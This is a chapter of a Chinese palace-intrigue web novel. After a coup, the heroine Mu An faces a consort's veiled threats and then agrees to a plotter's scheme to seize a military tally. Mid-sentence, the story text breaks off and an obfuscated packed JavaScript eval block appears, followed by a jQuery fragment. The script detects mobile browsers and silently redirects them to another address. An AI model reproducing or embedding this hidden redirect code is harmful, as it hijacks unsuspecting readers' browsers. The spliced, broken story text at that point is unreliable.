34. 亦然

作品:《亡国后的第十六年

    宣璨大手一挥,眉眼间尽是志得意满的笑意。


    “沈氏挟制官眷,意图不轨,我等皆可以作证!”


    殿门被人猛地推开,韩秋明快步走入,身后跟着一群宫人,气势汹汹。这场皇权之争沈家败局已定,沈氏的命运再无回旋的余地。


    “荒唐!”沈沁妃的发丝凌乱,狼狈不堪,她死死盯着韩秋明,目光像是要将她生吞活剥,“明明是你暗中打开兵库,勾结广王,意图谋逆!”


    韩秋明微微一笑,步步逼近,语气轻柔却暗藏锋芒:“沁妃娘娘这话从何说起?妾不过是一个弱女子,如何能调动兵马?”


    她轻轻一揖,姿态从容,宛若胜券在握的棋手。


    言罢,韩秋明自然地朝高台走去,径直站到宣璨身旁,举手投足间尽显主位之姿,仿佛帝后之位,已是她唾手可得的归属。


    穆安仰头看向这一对璧人,眼中浮现一丝复杂的情绪。


    这便是新朝的帝后了吗?


    她今年不过十七岁,竟已历经三朝,见证了一场又一场的腥风血雨。


    殿外天光破晓,晨曦透过大殿雕花的朱红门扉洒落一地,辉映着殿内的鲜血,亦映照着这座帝国新旧更迭的权力交锋。


    闹剧落幕,穆安拖着疲惫的身子回到高华殿。


    殿内灯火静谧,春棠一见她进门,立刻迎上前,眉宇间满是忧色:“娘娘可算回来了。”


    穆安轻舒一口气,揉了揉额角,语气温和道:“我去打过招呼了,过两日妙环就能回来。”


    她没有说今天的变故,反而提起了妙环的事。


    景玉也迎了上来,为穆安端来了净手用的玫瑰水。


    “娘娘今日受惊了,早日歇下吧。”


    穆安低头洗净手指间的微尘,抬眸道:“先别急着休息,我还没吃东西呢,传膳吧。”


    片刻后,殿内只剩下她与景玉二人,气氛骤然沉寂下来,透着几分难言的疏离与尴尬。


    “如今是广王赢了,娘娘可想好了退路?”景玉静静候在一旁,姿态恭顺。


    穆安微微一怔,未曾作答,她自己也不知该如何回答。她与景玉之间,似乎已经没什么可说的了。


    空气沉默了片刻,景玉忽然低声开口:“奴知娘娘一直不信任奴……”


    他话未说完,春棠便带着宫人端着一道道精致的膳食进来,一群宫人围上来,将景玉晾在一边。


    烛光映照下,满桌佳肴香气四溢,穆安懒得再深思,拿起筷子便自顾自地吃了起来。


    此刻,她什么都不想,只想痛痛快快地饱餐一顿,好好补回这一天消耗的精力。


    “娘娘——”


    人影未至,声音已先一步传来,透着几分亲昵与从容。


    穆安手中筷子一顿,抬眼望去,果然见到韩秋明款款而来,裙裾摇曳,笑意盈盈。


    “是王妃啊。”穆安轻叹一声,唇角勉强勾起一丝笑意。


    韩秋明目光一转,瞥见桌上的佳肴,笑道:“娘娘正在用膳呢,不如再添一副碗筷,我也来凑个热闹。”


    话音未落,她已在穆安对面落座,宫人见状,立刻将碗筷摆放妥当。


    穆安微微蹙眉,最终只是挥了挥手,示意众人退下。


    殿内只余二人,气氛也随之微妙起来。


    “王妃可是有事要说?”穆安随口问道,语调淡然。


    “今日在娘娘寝宫一避,妾还未正式向娘娘道谢呢。”韩秋明嘴角含笑,仿佛只是寻常叙旧。


    穆安垂眸浅笑,今日沈沁妃当着众人之面指控韩秋明打开宫中武库,她自然明白对方不过是借势行事罢了。


    她不动声色地起身,为韩秋明布菜,语调平静道:“王妃客气了,再过几日,你便是这天下女子之尊,又何必向我道谢。”


    韩秋明却忽然伸手,轻轻握住了穆安的手腕。


    她的指尖微凉,力道不重,语气骤然沉了几分,“那日妾说广王在睡梦中唤娘娘闺名,并非虚言。”


    穆安心头微震,脑海中瞬间闪过无数个念头。


    韩秋明收回手,眼神幽深:“妾的家族在朝中微不足道,妾也不过是个不受父亲宠爱的女儿,唯一能依靠的,只有夫君。”


    “秋明是广王正妃,将来便是名正言顺的皇后,谁人能撼动娘娘的地位呢。”穆安皮笑肉不笑地说道。


    韩秋明放下碗筷,意味深长地看向穆安,“听说娘娘还有个姐姐正在太昭国寺,同在寺中的沈庆妃染了重病,也不知会不会传染给旁的人。”


    穆安呼吸一滞,听懂了对方话里的威胁。


    她垂下眸子,语调平静地回道:“王妃和广王才是一路人,日后也一定能伉俪情深,共享河山。”


    韩秋明垂下眼帘,嘴角微微上扬,“妾一介深宫女子,不懂这么多的。”


    复又垂眸道:“只是还有一事希望娘娘不要说漏了嘴。”


    穆安挑了挑眉。


    “按理说,要燃火筒传先帝驾崩消息的人应该是我才是。”


    穆安明白了她的意思,神色微变。


    韩秋明轻轻摩挲着茶盏,似是苦笑了一下,“娘娘你看,此事凶险无比,广王却叫妾来做,是不在意妾的安危的。”


    穆安沉默良久,不知该如何作答。


    皇帝曾说,宣璨是最像他的孩子。


    这句话,果然一点都没错……


    广王妃来了,这顿饭穆安吃得食不知味,等送走了人她是真的浑身乏力了。


    景玉好似还有话要跟她说,可穆安没给人机会,她累极了,几乎是一沾枕头就着。


    这一夜穆安睡得很不安稳,迷迷糊糊间梦见了穆钰、穆锦、窦怀,还有许许多多面目模糊的人。她看见穆锦和窦怀在不不远处等她,她朝他们奔去,他们却又消失不见了。


    “穆安。”


    穆安迷迷糊糊听见有人唤她,梦中景象顷刻间消失了。


    “穆安。”


    一个清冽的男声传来。


    穆安缓缓睁开眼,便瞧见景玉正俯在她床头。


    她立刻被吓醒了,攥着被子缩在一旁。


    “你、你怎么来了。”


    见穆安醒了,景玉起身寻来一盏灯。此时已是深夜,蜡烛快要燃尽,烛光微弱而摇曳。


    一丝光亮在两人之间闪


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15122085|162433||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    动,映在景玉的脸上,勾勒出他棱角分明的轮廓。穆安忽然觉得,自己仿佛看到了一只潜伏在暗处的野兽。


    “有事?”穆安冷声问道。


    景玉轻笑一声,语气中带着几分无奈,“娘娘最近总是这般疏离,倒让奴有些伤心了。”


    穆安心中一紧,“景大人深夜闯入本宫寝殿,意欲何为?”


    景玉微微倾身,靠近了几分,“那日在御花园遇见,娘娘说奴可以唤你穆安,可还作数?”


    穆安低垂眼眸,开始回忆自己是何时起开始与景玉生疏起来的。


    最初,她讨厌景玉那副讳莫如深的模样,总觉得他像一面深不可测的湖,水面平静,湖底却藏着无数暗流。后来,他的阴鸷和野心让她害怕,她开始刻意与他保持距离。可若再往前回溯,在她初入召国后宫的那些日子里,是景玉给予了她安心和慰藉。


    穆安抚住额角,微微叹息。两人真正离心的那一刻,怕是宣玖葬身火海的那一天吧。


    那日,烈焰翻腾,将景玉所有的盘算都燃烧殆尽。


    秦家不负晟国,她念着这份恩情,可这并不代表,她还能毫无芥蒂地去信任景玉。


    “秦公子的好,我始终记得的……”


    穆安扪心自问,韩秋明告诉她,宣璨在梦中唤她的名字,害怕的又何止是广王妃?她也怕——怕那日她激怒皇帝时的随口胡诌竟成了真,怕自己再一次被囚于这深宫之中,怕这一生都无法挣脱金锁玉栏,永世不得自由。


    景玉阴鸷残忍也好,为达目的不择野心也好,她曾经厌恶,也曾恐惧,可如今再看,她忽然觉得,自己竟与他如此相似。


    她的底色,或许从未比他干净多少。


    景玉似是叹了一口气,“我之前说愿意在你身边做个洒扫仆从是个玩笑话。”


    穆安也一笑,“我从来没有当真过。”


    景玉沉默片刻,眼底情绪翻涌,片刻后才低声道:“我是想……那另一半索戈兵符,现如今近在咫尺,若我们能夺得它,乱世之中,谁主沉浮,尚未可知……我们……若你愿同我一搏,或可改写乾坤。”


    他顿了顿,眼底幽深如夜,仿佛欲将穆安的神色尽数映入其中。


    “当然你若是不愿冒此风险,我会帮你救出穆锦。待你寻得安身之所,望能遣人告知一声。如此,纵使我漂泊四海,亦知世间尚有一处可归。”他语气微缓,目光却未曾移开,“若是……”


    穆安抬手,轻轻止住他未尽之言。


    景玉微微一怔,眸色暗潮翻涌,似疑似盼,终究未再言语。


    过了许久,眼见着烛火就要燃尽,穆安直视着景玉缓缓道,“我心亦然,愿与秦公子共赴此局。”


    二人相视一笑,烛火彻底熄灭了。


    景玉正要离开,忽然听见窗外传来一阵嘈杂,人声鼎沸,夹杂着刀剑相击的金铁之声,还有隐约的惨叫。


    穆安停下脚步,眉头微蹙。宫变已定,宣璨的登基大典就在三日之后,眼下局势理应平稳,怎会突然生出变故?


    外头的骚乱愈发激烈,似乎有人在厮杀,甚至隐约有火光闪动,喧嚣声正迅速朝这边逼近。